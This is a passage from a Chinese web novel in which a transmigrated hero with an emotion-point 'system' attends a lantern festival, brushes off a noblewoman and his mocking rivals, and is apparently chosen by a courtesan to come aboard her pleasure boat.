倒是有些意外,这个让归雁先生求而不得的客栈小杂工,明明身份卑微,却不仅能拒绝名利与学识,还能抵挡美色的诱惑,这属实难得。
她也接上话道:“好事或是坏事,谁也说不准,不妨认识一下,万一我能给你带来好运呢?”
江云帆依旧笑笑,不作回答。
他看得出来,对方虽然看着年纪小,可心思却极为成熟。身份高贵,却完全不是那种傻白甜。而来找他的目的,更不是单纯为了搭讪。
在封建社会中,一个小小女子若有心机,那多半不是生性如此,而是经过了大量的后天熏陶。
其家族中的长辈,必定不简单。
“公子不置可否,小女子权当你是答应了。率先自我介绍一下,我叫齐之瑶,自京师来,敢问公子,这是要去歌舞会?”
齐之瑶抬头望了一眼远处。
那颇具盛名的歌舞会已然拉开了序幕,一时灯火蔓延亮如白昼,钟鼓琴瑟阵阵,混着人声,又有几分嘈杂。
“是要去歌舞会。”江云帆答道,“今日灯节这最后一遭,走完流程才算圆满。”
“这么说来,公子也通晓一些音律?”
“只能说,略微懂点乐理吧。”
江云帆确实得去这歌舞会,但可不是为了走什么流程。
而是因为歌舞会人多,**性强,人群专注度高,是收割情绪值的最佳去处。
大乾尚文,人们推崇诗词歌赋,也喜爱歌舞声乐,在这两个方面,极易受到震惊。
而若是能将这两者结合起来,便可事半功倍。
至于能否在二十四小时内收集够一万点情绪值,开启传说级礼
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盒,并成功拿到大奖,就看这一波了。
“既然如此,不如公子乘我的马车同去,也好省些脚力?”
听到此言,江云帆转头再看了一眼那路旁的车轿。那车轿属实不简单,体积比寻常的马车要大上两圈,梁辕辙栏皆用上好的涂装木材所制,就连前方的两匹马,也十分雄壮健硕。
是个好座驾,可就怕是虎穴,有去难回。
“盛情难受,我这人爱好清净,也想慢悠悠欣赏一下这沿途的风景,姑娘还请自行前往吧。”
江云帆稍稍作了个揖,接着转头便走,也没给齐之瑶挽留的机会。
望着他的背影,齐之瑶眼中的兴趣反而越发浓烈了。
“真是个有意思的人……”
她微微一笑,满怀深意。随即又朝那车夫打了个响指,后者立马驾车前来迎接。
……
黑夜渐深,月渐明。
时至亥末,湖口岸的船灯歌舞,倒是逐渐热烈。
镜源县的整个万灯节,会从前一日晚上的戌时三刻开始,一直持续到次日凌晨丑时才结束,总经两个半时辰。
其中船灯会与歌舞会作为最重要的项目,算是压轴登场。
而此时此刻,被许灵嫣差来寻找彦公子的侯茂杰与徐坤几人,已经抵达了歌舞会的花市口。
他们是通过大道径直来此的,且中途没有过多逗留,故而比江云帆率先一步抵达。
“表哥,咱们会不会走得太远了?”
“你懂什么?”
侯茂杰望着繁灯似火的长街,嘴角浮现着一抹自信,“彦公子如果是来看灯会的,那这场歌舞盛宴,他定不会错过。”
“这里,是最有机会找到他的地方。”
……
第100章 哟,这不是江公子吗
“可是表哥,这地儿人头像是蚂蚁窝,咱们要如何寻人呐?”
望着眼前塞满整条街道的人海,徐坤在这一刻茫然了。
他本以为烟凌城的夜市就已经够热闹了,却不曾想镜源这么个小小的县城,能让人口**得比京城还密集。
之前乘船之时,他把注意力都放在了桥上,尽力物色那些貌美女子。
再加之桥下光线昏暗,故而坐在自己对面,那位一身素麻,本就平平无奇的男子,他是压根就没多看两眼。
对于长相外貌,此刻只依稀记得一个轮廓。
甚至可以说,那人就算此刻突然出现在面前,徐坤也不敢确定就是对方。
更何况是在这茫茫人海中。
想到这,他不禁脸色一转,露出一抹尴尬:“表哥,既然寻不到人,那咱们不如……去看看今日那花魁?”
“花魁?”
侯茂杰也不知道这人怎么会突然冒出这样一句,待消化之后,当即狠狠一巴掌呼在徐坤头上。
“就知道花魁花魁!你我要是寻不到彦公子,只会引得许小姐失望,可若寻到了,那就是大功一件!”
他一脸恨铁不成钢。
寻找作词之人,不仅是为了完成许小姐的命令,同时也是他主动想做的事。
谁不想与内心崇拜之人见上一面,当面交流一番?
只是,再看那拥挤的人群密密麻麻,又难免生出一丝无力感。
“呼……罢了,要不你还是先说说,什么花魁?”
“嘿嘿。”
听闻此话,徐坤立马嬉皮笑脸,心道表哥依旧是那个性情中人。
聊及花魁,那他可就来劲了。
“看来表哥还没听到过消息,据说前几日,此地来了一位容貌极其美丽的女子,名为翩翩姑娘。相传其姿色堪称倾城绝世,身材婀娜,且通琴棋书画,是个不可多得的才女!”
“若是才女,又怎会沦落到入楼为娼的地步?”
“这我就不知道了。”
徐坤耸耸肩,“不过表哥,翩翩姑娘可不是什么娼妓,且不说人家只卖艺,关键还极挑客人!平常人若是无缘,对不上眼,即使花再多的钱也难得一见。可反之,翩翩姑娘若是瞧中了某位客人,则会邀其琴瑟和鸣,甚至赠些小礼,还不收任何钱财!”
“有点意思。”
侯茂杰一时来了兴趣。
他倒不是足够自信,认为自己一定能够得到花魁的青睐。而是想到,若彦公子当真也去了歌舞会,以他的才貌风雅,是否会自人群中脱颖而出,被翩翩姑娘给看中?
或许,这倒是个机会。
“当然有意思!”
正思考中,侯茂杰便见一庞的徐坤一脸飘然,“表哥你是不知道,坊间有传,说以那翩翩姑娘之姿,可与号称江南第一美人的临汐郡主争艳……”
“啪!”
话音未落,侯茂杰果断就是一巴掌打来。
这次直接打脸,而且下手极重,声音极响,瞬间在徐坤面颊上留下一道鲜红的五指印。
看着小弟一脸懵的眼神,侯茂杰开口便骂:“蠢货,你是想死吗?”
“我……”
“敢拿一个风尘女子和郡主殿下相比,你全家有几颗脑袋够掉的?”
徐坤浑身一震,目光看向四周,见同行的几名杂工纷纷将视线移过来。
他方才意识到说话未经思考,一时吓得冷汗直流。
是啊,郡主乃是南毅王最为疼爱的女儿,若是自己一番评价被人传到了王府,那自己恐怕是没办法在这世上久留了。
“表哥我错了……”
“行了,去会场看看,记得给我多注意彦公子!”
“明白。”
……
一行人穿过人群,强行挤进会场之中。
而同一时间,来自王府的护卫船,也逐渐靠近了歌舞会外的湖畔码头。
此处是镜源县的花市,也是最核心的风俗街,其经营的主要项目,便是号称“水上青楼”的花船。今日万灯节,所有的花船都在临岸处下锚,挂满灯火,照得四下彻亮一片。
而王府护卫船,恰好就被其中最大的一艘给挡住了去路。
墨羽提着剑,正欲一脚跨过去进行驱逐,便被秦七汐给拦了下来。
“那船上琴声徐徐,看样子表演才刚开始,还是不便打扰了。”
青璇立马凑过来:“可是郡主,他们若一直不主动让道,那咱们又该如何上岸?”
秦七汐缓
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呼了一口气。
她款款迈步,白色长靴轻踏船板,行走到船尾。
在这个位置,视线被遮挡的程度最小,能够看见远处街道上拥挤着的人群,也能大致看见前方那艘花船的甲板上,约莫一半的场景。
此时歌声袅袅,船上人影舞动,瞬间将岸上岸下的气氛,带入那份优雅当中。
“如若不肯让,那咱们就在这船上听曲观舞。”
青璇与墨羽相识一眼,眼中尽是无奈。
就一直待在这船上,怕最先着急的,还得是郡主你自己吧?毕竟那位让您心心念念的江公子,到现在都还没出现呢。
郡主虽然嘴上说着,若能相遇便是缘。
可要当真一直遇不到,那心情估计就像被架在了火上烤。
不过两人也没说什么,就这样陪秦七汐站在船边。
那花船上的琴乐歌舞水平一般,不足以让人惊艳,但却持续了许久。待到结束时,远处的岸上立马响起一阵掌声与欢呼。
他们欢呼的不是方才的表演有多精彩,而是台上的人下去之后,就轮到今日的重头戏了。
“翩翩姑娘!”
“翩翩姑娘,选我选我!”
随着两声惊呼响起,岸畔处那宽阔的广场上,或坐或站的众人纷纷沸腾起来。
在场多是才子贵人,他们许多都是慕名前来,想要一亲今日那花魁芳泽。
而自人群中,侯茂杰领着徐坤相继挤了进来。
一眼看去,湖上那花船隔岸得有三四丈宽度,恰好卡在船下人上不去,船上人也下不来的距离。
两人一番眺望,却见船板之上空无一人,唯有船楼内灯火通明,灯下似有一人浅坐,在雪白的窗纸上投下一道长发婀娜的身影。
“那位就是翩翩姑娘?”
“应该是了。”
不看脸,光看背影,徐坤就能判断那船中之人,必是美人。
徐大少忍不住多望了两眼,但余光挪动之际,他突然发现在前方角落一处石桌前,坐着一个十分熟悉的身影。
他当即眉头一皱:“那是……”
然而没等他说话,便看见侯茂杰已然迈步走了过去。
“哟,这不是江公子吗?”
……
第101章 小女子见过江公子
徐坤哪晓得什么江公子。
他只知道桌旁之人的背影,特别像先前在船上与杨文炳同行的那个人,也就是许小姐苦苦找寻的彦公子。
背影像,衣着打扮也像,甚至从侧后方面看过去,连坐姿与侧脸也无比神似。
都是一副身贫志坚的样子。
但表哥称眼前这人为“江公子”,一个姓江,一个姓彦,两者显然不是同一个人。
或许只是外貌相似吧,毕竟无论怎么说,徐少爷的视线珍贵,当时压根就没留意那彦公子的五官。
他也迈步走了过去,在两人身后停下。
侯茂杰给旁边一人丢了一锭银两,那人喜笑颜开,立马让座。
“江公子今日怎么不去湖边垂钓,倒有雅兴来看这歌舞会?”
此时江云帆正翘着二郎腿,双臂抱怀靠着椅子,对于侯茂杰的到来也没多给眼神。
只开口一句:“谁没事大半夜钓鱼?”
“呃……”
侯茂杰一时哑口无言。
诚然,古代王朝可不比二十一世纪,在大乾这地儿,夜钓并不流行。毕竟时间一旦入了夜,没有电灯,没有手电筒,就算借着月光,也看不清那些犄角旮旯。
况且人类对自然的控制能力有限,郊野多有毒虫猛兽,正常人都闭门不出。
不过侯茂杰就算被怼了,也能很自然地转移话题,从而过渡掉自己的尴尬,主打一个脸皮厚。
“说句实话,江公子,人贵有自知之明,没能力却硬要装的,那种叫虚有其表,只会自降尊严。”
江云帆点点头。
诚然,他非常赞同这个观点,有的人总会莫名其妙给自己冠上一些封号,听起来牛逼烘烘的,但实际自身的能力,根本就与那封号无关。
就好比那“琴诗双绝”。
见江云帆这般反应,侯茂杰顿时脸色难看起来,眼神也闪过一丝阴冷。
“你没懂我意思吗?没本事的人千万不要充大头,否则很容易被打脸!”
“我便直说吧,那日红雀亭中,江公子装得一手好能人,口口声声说自己琴技了得,竟差点把我都给骗了。”
“幸好后来有许小姐言明真相,原来咱们的江公子,竟是凌州城内人人唾弃的第一废柴啊!哈哈哈哈……莫说弹琴奏乐,江少爷能不能搞懂基本的乐理,怕也是个未知数吧?”
侯少爷生平当惯了主角,最讨厌别人在自己面前显圣。
上次在湖畔弹琴,这江云帆装得真像那么回事,加之有许小姐为其站台,他还真被唬住了。
谁曾想是个纸老虎。
“就是!”
侯茂杰说罢,徐坤也同以往一样,在旁边充当一个应声小弟的角色,“那种不懂装懂的人着实好笑,到头来只能丢人现眼!”
他跟江云帆倒没什么深仇大恨,只是表哥怼谁他就怼谁,这是一种习惯。
“表哥,看这小子穿着打扮,明显就是个乡野村夫,你可是堂堂大都尉之子,何必跟他那么客气,公子公子的称呼?”
“我主要是怕惹得江公子不高兴,待会又要给我上一课咯。”
侯茂杰讥讽一笑,“话说江公子不是琴技了得吗,今日歌舞会正是好场合,不如上台弹奏一曲,也让我等洗洗耳啊!”
他自然认定江云帆不会弹琴。
毕竟听许小姐说,这位江家二少爷头脑堪忧,到十岁时都不识百字。
而他这样一说,就是要把这小子推到台上去丢脸!
然而,江云帆全程没有答话。
就好似根本听不见一样,目光自始至终注视着湖上的花船,心如止水。
旁人的大呼小叫他并不在意,唯独在意的,是当震惊
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达成时,对方能为自己提供多少情绪值。
不过,侯茂杰显然不是轻易饶人的主:“怎么,江公子不愿说话了?不会是怕了吧!”
一旁的徐坤努力憋笑。
然而就在这时,一道清亮而又冰冷的女声自身后传来:“也许人家只是嫌你吵,且不屑浪费口舌,看不出来吗?”
“谁?”
听到这突然一句,侯茂杰顿时眉心一拧,连忙转过头来。
这话嘲讽意味拉满,还是他第一次听人对自己说,一时心生怒意。
可当他看清来人时,却整个愣住。
那是一位年龄约莫十四五岁的姑娘,个头并不高,但胜在模样清秀稚嫩,且皮肤雪白细腻,故而整个人看起来无比精致漂亮。
但这不是重点,重点是她那一身淡绿色长裙,镶着金丝边线,且看构造布局,是唯有贵族中的贵族才能穿佩的上等物。
且在那姑娘身后,还跟着一个体型高大魁梧的男人,像是护卫,其面容深沉,不怒而威。
对方的身份绝对不凡!
想到这里,侯茂杰心知不能得罪,于是立马放缓了脸色,露出一抹笑容:
“敢问小姐尊姓大名?”
他一脸谄媚,打算和对方套套近乎,若能结识一番,那便再好不过了。
见表哥这样,徐坤也立马弯起那胖脸上的眉毛。
可谁知,那姑娘竟直接从旁边走过,目光冰冷直视前方,全程没有施舍给二人半分目光。
侯茂杰当即表情一僵,脸色变得肉眼可见的尴尬。
然而让他更想不明白的事情发生了。
那贵族女子走过后,很快又停下了脚步,恰好就在江云帆的旁边。
而下一刻,竟微微欠身,朝江云帆行了个淑女礼。
“小女子齐之瑶,见过江公子!”
……
第102章 翩翩姑娘
侯茂杰一时懵了。
他完全不理解自己看到的这一幕。
要知道眼前这名女子,可不单单是模样漂亮,衣着华贵那么简单。她说话时,带着十分纯正的京城口音,明显是自幼在天子脚下长大。
京城人,且是贵族,这身份如何了得?
方才对方出现时的开场白是对他说的,侯茂杰还以为,是在告诫自己不要与江云帆这种不懂礼数的人交流。
故而认定是为自己而来。
可谁知,他这一向只当人群焦点的烟凌城琴诗双绝,竟直接被人给无视了!
关键被无视也罢,但对方要找的人,偏偏是江云帆这个废物!
为什么每次自己要逼这厮出丑的时候,总会有人来救场?上次是许灵嫣小姐,这次又是一位来自京城的贵族姑娘,那小子到底有多少的人缘?
就在侯茂杰茫然瞠目时,齐之瑶已然在江云帆身旁站定。
她歪着头,露出一抹甜腻的笑容:“真巧啊江公子,这么快又见面了,你说这不是命运的安排,又是什么?”
“命运安排还是太玄学了。”
对方主动打招呼,江云帆也礼貌点头,嘴上回应,“你我都是来看歌舞会的,两次遇上,倒也不算稀奇。”
“但或许,茫茫人海相遇,本就是一种缘分呢?”
齐之瑶一边说,还一边朝江云帆眨了眨眼,将自己俏皮可爱的特点完美展现出来。
然而江少爷只报以微笑。
对于缘分的问题,他没再开口回答,不过心里却清楚得很,所谓的缘分,多半不会来自天命,更可能是人为。
齐之瑶倒也知趣,见江云帆不愿多聊,便也没有停留。
她朝身后那五大三粗的汉子打了个手势,后者立马走到前面,硬生生从人群中挤开一条通路。
齐之瑶从这通路之中穿过,径直来到广场的最前端。
这里离湖岸最近,离那花船也近,是整个会场上最佳的听曲观舞之处,许多人求而不得的地儿。
但齐之瑶并没有在此停留。
那船上的妈妈婆见了她,立马提起精神,连忙让船员放下舷梯。
齐之瑶与那魁梧男子便顺着舷梯,稳稳踏上花船。
“他们怎么上去了?”
“翩翩姑娘还没挑选舞伴呢,春姨,你们这里有内幕啊!”
“没错,翩翩姑娘只能选我!”
这一幕立马引得人群惊呼,许多**吼着表达不服,但那被唤作春姨的妈妈婆并没有搭理,只笑脸迎着齐之瑶进了船楼。
好在众人的叫嚷,很快便随着一阵琴声停息了。
此刻,花船船屋内。
一位身着鲜红霓裙的女子正坐在琴案前,将那修长的十指放在琴弦上,轻轻开始拨弄……
“当啷~”
一声乐起,旋律随风飘飞,穿过船上的帘账,越过湖面,在岸上的众人耳中飞速流转。
那琴声似高山流水,又似冰泉冷凝,时而悠扬时而婉转,偶尔又冗长低沉。
任谁都听得出来,这曲子的基调并不愉悦。
但弹得是真好。
所有人都屏住呼吸,只在刹那间便被拉入那悠沉的情绪当中。
而继琴声之后,很快传来的便是歌声。
“挑灯描红妆,泪染嫁衣纹。朱门深似海,一诺葬前尘。”
“原道是良缘,终老在春深。怎料东风恶,折枝送蓬门。”
“烛泪替人泣,滴尽三更恨。铜镜蒙尘处曾照少年魂……”
那歌声带着几分凄婉,妩媚中透着几丝娇柔,寻常人听了,顷刻便心生怜惜。
尤其是男人,很难不为这份楚楚可怜所动容。
歌词讲的是一位女子,感叹身不由己,人生的走向无法左右,只得独坐春闺暗自感伤。
这样一首歌恰恰加重了那份楚楚可怜,让人倍感同情。
而那凄美哀婉的歌声仍在继续……
“庭院锁秋千,落花堆成坟。旧燕绕梁时不识新啼痕。”
“都说红丝系天意,天意偏欺痴心人。
明月应笑我,困作笼中枕。
千针万线绣不尽,命运漏指痕。
寒砧声里,自缚华年,送尽黄昏……”
……
“好,翩翩姑娘唱得太好了!”
一歌毕,台下掌声雷动,观众纷纷拍手称赞,甚至许多人都深受感染,掩面而泣。
“真美啊……”
远远望
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着船上那隔着窗纸,映着烛光,婀娜婉转的身影,侯茂杰完全入了神。
而徐坤更是来回摇头感叹:“曲美,歌美,人更美,怪不得能媲美号称江南第一美人的临汐郡主,翩翩姑娘这样的女子,谁见了不怜爱万分呐!”
侯茂杰赞同地点点头。
这次他没再反驳和咒骂徐坤,因为他也认同了这样的说法。尽管文会那晚,他因为离得太远并没有看见郡主殿下的容貌,而今日隔着窗户同样也看不清翩翩姑娘的模样。
但他有想象,船上女子的样子,在他心中已然完美!
再没有任何女子,能美得过这般……
倒是江云帆坐在一旁,默默注视着在船面起舞的几名舞女。
虽说风尘气十足,姿色也谈不上多好,但那满是韵味的古风舞蹈,再配上船屋之中传来的凄婉乐声,却是十分吸引人。
看来这大乾确实是个好地方。
通过系统商城,他能享受到来自二十一世纪的各种物资与便捷。也能在这古代世界,远离社会复杂,远离内卷,体会万种风土人情。
当真是神仙生活!
就在众人惊呼赞叹之际,那花船上的一扇窗户,小小地开了一道缝隙。
窗内女子静静伫立,视线在岸上的角落停留良久。
面纱上方,是挺翘的鼻梁,一双明眸大眼,映着船上四处摇曳的灯火,莹莹而辉。
“吱呀——”
就在此时,屋门被推开。
春姨扭动着腰肢走进,一张脸上笑容极为灿烂。
“哎哟,翩翩呀,弹得真棒,你能来我们这里啊,简直就是我的福分!”
翩翩默默转身。
她款步回到琴案前坐下,那眼神中的忧愁丝毫没有消退。
春姨大咧咧地坐下,咧嘴笑着:“你刚才看了一圈,可有挑好哪家公子,准备邀请上船的?”
“嗯。”
翩翩微微颔首,伸出纤长的手臂,用食指指向半开的窗外。
春姨挪了一下屁股,顺着手指的方向看去,视线恰好穿过窗口,落在岸上一人身上。
她的脸色顿时一变。
“这人……一看就是个平民啊?”
……
第103章 像,实在是像
“翩翩啊,春姨知道你不慕钱财,但还是真心劝你一句,你莫要怪春姨多嘴。”
春姨挪动着丰腴的身子,凑近了些,一声声语重心长。
“那些富贵公子呀,自是天生就比下等人强上百倍!他们自幼便有名师教导,通晓诗词文墨只是寻常,那一举一动间的风度气韵,也是谦逊有加,彬彬有礼。那样的人,才配与我们翩翩坐在一处,品茶论道,共话风月。”
“反观那些平头百姓,生来卑贱,根性鄙劣,整日为生计奔波,哪里见过我们翩翩这般仙子似的大美人?让这样的人上了船,不安全!”
春姨这番话,算得上是苦口婆心了。
一来,她确实觉得让翩翩这样的绝代佳人去招待一个平民,是明珠蒙尘,委实不值。
二来,她也存着自己的私心。
她经营这画舫二十多年,迎来送往的头牌花魁不在少数,其中没有任何一个的姿色能及得上翩翩姑娘半分,但也正因如此,她更要维护这块金字招牌。
头牌花魁亲自邀请一个籍籍无名的平民上船,这事要是传出去,她春姨的脸面,在这行内怕是都要丢尽了。
换做以往任何一个姑娘,春姨定然是一口回绝,连商量的余地都没有。
但今日,她却不得不耐着性子,小心翼翼地询问翩翩的意见,谁让这位姑娘是她无论如何也丢不得的摇钱树!
只可惜,她这位心高气傲的头牌像是下定了决心,对她的肺腑之言毫不动容。
“春姨不必再劝。”
翩翩的声音清冷如月光,却透着一股不容置喙的坚定,“那位公子虽衣着朴素,然其身姿挺拔,气度不凡,已深入我眼,烦请嬷嬷为我请来。”
“这……唉!”
春姨见她主意已定,知道再劝无用,只得重重叹了口气。她心中虽有万般不愿,也只能无奈地起身,扭着腰肢走出船舱。
听着那脚步声渐渐远去,一直端坐着的翩翩方才缓缓抬起头来。
她再一次将目光投向那道窗缝,细细地、专注地凝望着岸上那个角落里的身影。
像,实在是像……
她的脑海中,毫无征兆地闪过一幅金戈铁马的画面。
一道身披玄铁重甲、手持沥血**的身影,如鬼神般闯入眼帘。那人骑着一匹神骏的白马,在尸山血海的战场上纵横冲撞,**所过之处,人仰马翻,如入无人之境。
狼藉之下,即是尸横遍地。
然而,此刻回荡在她耳边的,却不是士兵们震天的威武呐喊。而是那些倒在血泊中的人,那些支离破碎的身体发出的,濒死前的凄厉哀嚎……
“!”
念及此,翩翩深深皱紧眉头。
琴案下方的手,不自觉握紧了**的把柄。
然而恰在此时,一道清越的女声自船舱口传来:
“翩翩姑娘唱得真好!”
那声音表面平静,却带着一股威严,惊得翩翩浑身一震,猛地收回目光。
她回首看去,只见一位身着碧色裙装的女子已然站在门口。
“方才那首歌,哪怕只是隔着窗纱浅浅一听,也足以令人心生哀愁,愁肠百结。真不知岸上那些男人,今夜会有多少人要为你这歌声彻底沉醉,辗转难眠了。”
那女子说话间,毫不见外地走了进来,径直在屋内正位的椅子上坐下,还自顾自地提起茶壶,为自己斟满一杯淡茶。
翩翩见状,连忙起身,双手交叠放于小腹,款步走到对方面前。
随即微微屈膝一礼,道:“齐小姐。”
齐之瑶浅啜了一口清茶,随即抬手,用指节轻轻叩了叩桌案的另一侧:“坐。”
翩翩没有抗拒,只是眸光微动,在短暂的犹豫后,依言走到指定的椅子上,端正坐下。
“近日在此地,生活可还习惯?”齐之瑶放下茶杯,淡淡问道。
“回齐小姐,承蒙引荐与照拂,此处水乡风光旖旎,安静祥和,更有遍地美食,小女子很喜欢。”
“喜欢
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就好。”
齐之瑶的身子缓缓后仰,靠上了椅背,神情也随之严肃起来,“说正事吧。今夜的运势之人,方才我已经知会过春姨了。待会儿人请上船之后,你且按照我的指示,问他几个要紧的问题。”
听闻此话,翩翩当即一怔,脸上血色微褪。
“可是齐小姐,我已经有了属意的人选……”
“放心。”齐之瑶根本没给她把话说完的机会,便直接打断,“我为你挑选的这位公子,无论是相貌还是才华,都远胜于寻常之辈,必定能让你满意。”
翩翩的秀眉瞬间紧紧蹙起。
她的眼中闪过一丝不甘,明明距离自己要找的人仅有数丈之隔,本以为成功就在眼前,却恰恰在此时遇到阻碍。
可是,她没有办法反抗。
她孤身一人,自遥远的北境边疆辗转流离至此,一路皆由齐之瑶遣人护送指引。
而如今任何行事作为,都得听从齐之瑶的安排。
……
此时,花船的船屋后。
春姨扭动着腰肢,一步步走到船尾处,一张胭粉密布的脸上已经爬满了疑惑不解。
她实在是想不明白。
这个世界到底怎么了?岸上有那么多英俊才子、豪门少爷,翩翩姑娘一个都看不上,就非得执着地要请那个平民男子上船。
春姨本以为是这她涉世尚浅,易被表象迷惑。
可谁知,自己刚一走出船舱,迎面而来的东家小姐便将她拦住,并推荐了登船的人选。
她本以为齐小姐的出现,能让她免于邀请底层之人,从而丢掉面子。
可谁知,齐小姐所指的那位公子,与翩翩姑娘挑中的,竟然是同一人!
倒不知是真巧,还是两人事先已商量好。
总之春姨虽无法理解,也只能按照指示行事。
她来到船尾后,找到位于船边小舟上的伙计,把邀人的任务传达给对方。
那伙计点点头,立刻转身摇动船桨。
……
第104章 不会是我吧
此时此刻,岸上众人对于刚才那词曲的讨论,仍在继续。
侯茂杰与徐坤两人满脸认真,甚至逐音逐字将那歌词分析了一遍,什么“哀而不伤”、“如泣如诉”,越是分析,越是陶醉,越觉得此曲只应天上有,而自己便是那唯一的知音。
甚至,全然忘记此行的目的,是为了寻找彦公子。
直到许久之后,沉浸在自我感动中的侯茂杰终于意识到旁边还有一个煞风景的人存在。
“喂。”
他冷冷一笑,将脸凑向江云帆,“我说江公子,方才这首歌,这支曲,你以为如何?”
以为如何?
听到这提问,正在沉思接下来的计划安排的江云帆也逐渐回过神来。
他严肃地点了一下头。
那歌那曲确实不错,韵律婉转,感情细腻,无论放在哪里,都是一首不可多得的好作品。
他点头,也算是赞赏的回答,只不过没有兴趣接对方的话。
可谁知,侯少爷对此似乎并不满意。
他当即黑了脸,扬着下巴,挑眉看江云帆:“什么意思?就点个头?“
“江云帆,我说你装什么清高?别以为我不知道,许小姐替你解围,仅仅是觉得你手中的酒方有价值。刚才齐小姐对你礼貌有加,多半也是如此吧?你还真把自己当琴圣了!”
“没错,你要厉害,有本事就博得翩翩姑娘芳心,让她选你上船,你来弹奏一曲啊!”徐坤一如既往地恰时附和。
当然,最是气得不轻的,还得是侯茂杰。
方才听到船上那柔弱的声音,听到那凄婉的歌词,他一时心生同情,对船上的女子更是怜爱万分。
或许是着了迷。
以至到了旁人若不称其好,便是与他作对的地步!
侯茂杰本就看不惯江云帆,两次狐假虎威,都让他丢够了面子。而这一次,他侯茂杰发誓要让这小子连本带利还回来!
“他能被翩翩姑娘选上,那自然是不可能的。”
侯茂杰接上徐坤的话,“不过今日无论如何,我都想见识一下咱们江公子的琴技。不知江公子可有胆量,在歌舞会结束之后,单独与我弹奏一曲?咱们上次的约定,仍旧作数。”
上次的约定,指的是如果江云帆弹得好,那么打赏就不能少。
可江少爷虽然不讨厌钱,甚至还有一点小喜欢。
但他实在不想在对方身上浪费时间,况且今日还有更重要的事情得做。
“免了吧,没兴趣。”
“怂货!”
徐坤伸手一指,正欲嘲讽,却只听不远处突然传来“吱呀”一声。
循声望去,却见那花船侧面的雕花船门从里面被缓缓推开,春姨扭动着腰臀,一步步走到船板之上。
台下顷刻安静,数不清的目光齐齐汇聚在她身上。
但这安静仅仅持续到春姨一句话之后。
“接下来将择选一位公子,并邀请其上船,与翩翩姑娘共赏烛光、同鸣琴瑟!”
“哗——”
一时之间,在场之人彻底沸腾,整个湖岸都被密集的嘈杂声所淹没。
“春姨,选我啊!”
“让翩翩姑娘选我,我乃是凌洲第一琴王!”
“久闻翩翩姑娘大名,在下自京城而来,只为一睹芳华,今日幸见,还望春姨给个机会,让我为翩翩姑娘献上毕生所创之佳作!”
“……”
岸上的喧嚣持续了许久,各种自荐的声音此起彼伏。
为了一亲翩翩姑娘芳泽,那些富贵公子早已陷入疯狂。
直到春姨抬手示意,众人这才安静下来。
“烦请诸位莫要急躁,实际上翩翩姑娘已亲自甄选出那位幸运之人,我已让伙计上岸邀请。”
“
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什么?已经选出来了!”
此话一出,人群中顿时响起一片惊呼声,场面又一次控制不住了。
“是谁?不会是我吧!”
许多人都开始起身往前簇拥,都想把自己的脸露出来,生怕那小厮找不到自己。
而口中的呼声也越来越大。
“无论是谁,能得翩翩姑娘青眼,那必然是撞了天大的好运,说不定把下半辈子的运势都花光了!“
“我若能与翩翩姑娘共度良宵,哪怕下半辈子厄运缠身也值啊!”
“不管怎么说,能被选上船的,必是人中龙凤无疑了。”
听着那一阵阵哗声,坐在广场西角的侯茂杰,手心早已攒出了热汗。
其实相比于周围其他人,以他的容貌风度和身份地位,到还有些优势。而且他对自己的文辞才华、琴技声乐也十分自信。
所以翩翩姑娘选中自己,也并非没有可能。
他一时紧张到了极点。
终于,湖上那一艘小船,在此刻摇摇晃晃地靠了岸。
船上的小厮登岸之后,四下张望了好几圈,终于锁定了西边角落的位置。
当下所有人都停止了喧哗,只屏住呼吸,眼睁睁看着那名小厮从人群中穿过。每每经过一人,后者脸上的表情便肉眼可见地变得失落。
终于,那小厮走到了广场西侧。
侯茂杰眼睁睁看着对方朝自己走来,整个人绷成了一根绳,心也提到了嗓子眼。
难道说……真是自己?
果然!
只见那小厮径直迈步走到自己前方站定,随即一脸笑意地躬了躬身,开口道:“翩翩姑娘请公子上船。”
“哈……哈哈哈哈!”
一刹那,侯茂杰心中所有的提心吊胆,完完全全变成了狂喜。
他果断大笑着站起身来,满脸坦然爽快:“好!”
……
第105章 公子莫要孔雀开屏
“我就说啊,这江南才子千千万万,咱表哥的风雅乃是独一档,今夜这歌舞会,翩翩姑娘不选表哥还能选谁?”
徐坤摊开双掌,将那宽肥的身体继续放大。
这是他兴奋时候的惯用动作,大开大合之下,让自己有一种能够囊括天地宇宙的感觉。
侯茂杰被翩翩姑娘挑选上船,在场除了其本人之外,徐坤自然是最高兴的那一个。
因为作为小弟,他也与有荣焉。
且在场这么多人,能让他佩服的也仅仅只有表哥一个,而表哥能被翩翩姑娘选中,那边证明他自己也差不远了。
当然,侯茂杰与徐坤倒是乐了,可周围其余的才子文人,都愁眉苦脸起来。
“唉……可惜啊可惜,为什么就不是我呢?”
“下一次再想有这样机会,怕不知要等到何年何月了。”
“被选中这人,当真是天运加身!”
一片哀叹声中,也有人往这边凑了凑,一脸皮笑肉不笑地朝侯茂杰抱拳:“这位公子,真是恭喜啊!”
“承让,承让了……哈哈哈!”
侯茂杰自然是左右抱拳回应,脸上的笑容早就已经遏制不住,心里更是激动万分。
他脑子里已经开始想象一会上船之后,要如何用自己一身才华与绝妙琴技,与美丽的翩翩姑娘共享良宵了。
虽然翩翩姑娘素有风节,只展才艺,不委身体。
但侯茂杰依旧有着一丝自信,说不定以他的魅力,当真能够夺得翩翩姑娘的芳心,让对方爱上自己也说不定……
届时他便是今夜灯会最大的赢家!
想到这,侯茂杰忍不住微微侧头,略带戏谑地瞥了江云帆一眼。
心道小子,你这下总该认清现实了吧?
“公子,烦请即刻动身,随我一同上船,莫让翩翩姑娘久等。”
就在此时,春姨派来那清瘦小厮又一次开口提醒。
作为服务行业,对待顾客的态度十分恭敬,故而他此刻依旧在弯着身子作揖。
这让侯茂杰更是享受,自觉尊贵。
于是他潇洒一挥大手:“好,那便麻烦兄弟,带路领我过去吧。”
周围人看得眉头紧皱,心里更是恨得不行。
可恶啊,若被选中的人是自己,他们一定要比这家伙还装!
然而就在众人妒忌之际,空气却陷入了长时间的宁静。
“……”
侯茂杰等了许久,也不见面前的伙计有所反应,一时心生疑惑,皱眉道:“我说这位兄弟,现在本公子让你领路,你说有什么疑问吗?”
“你若再这样拖延,一会惹得翩翩姑娘不高兴了,无论是我还是老板娘,都不可能饶得了你!”
“你怎么还不动?”
侯少爷越说越急,很快就要红脸了。
这时那清瘦小厮终于一脸幽怨地抬起了头。不过眼睛看向侯茂杰时,目光里却写满了苦涩与无奈。
“我说这位公子,你能不要一直吵吵吗?已经让我们的贵宾听不见我说话了!”
“?”
侯茂杰当即神色一怔。
“什……什么意思?翩翩姑娘选中的贵宾,不就是我吗?”
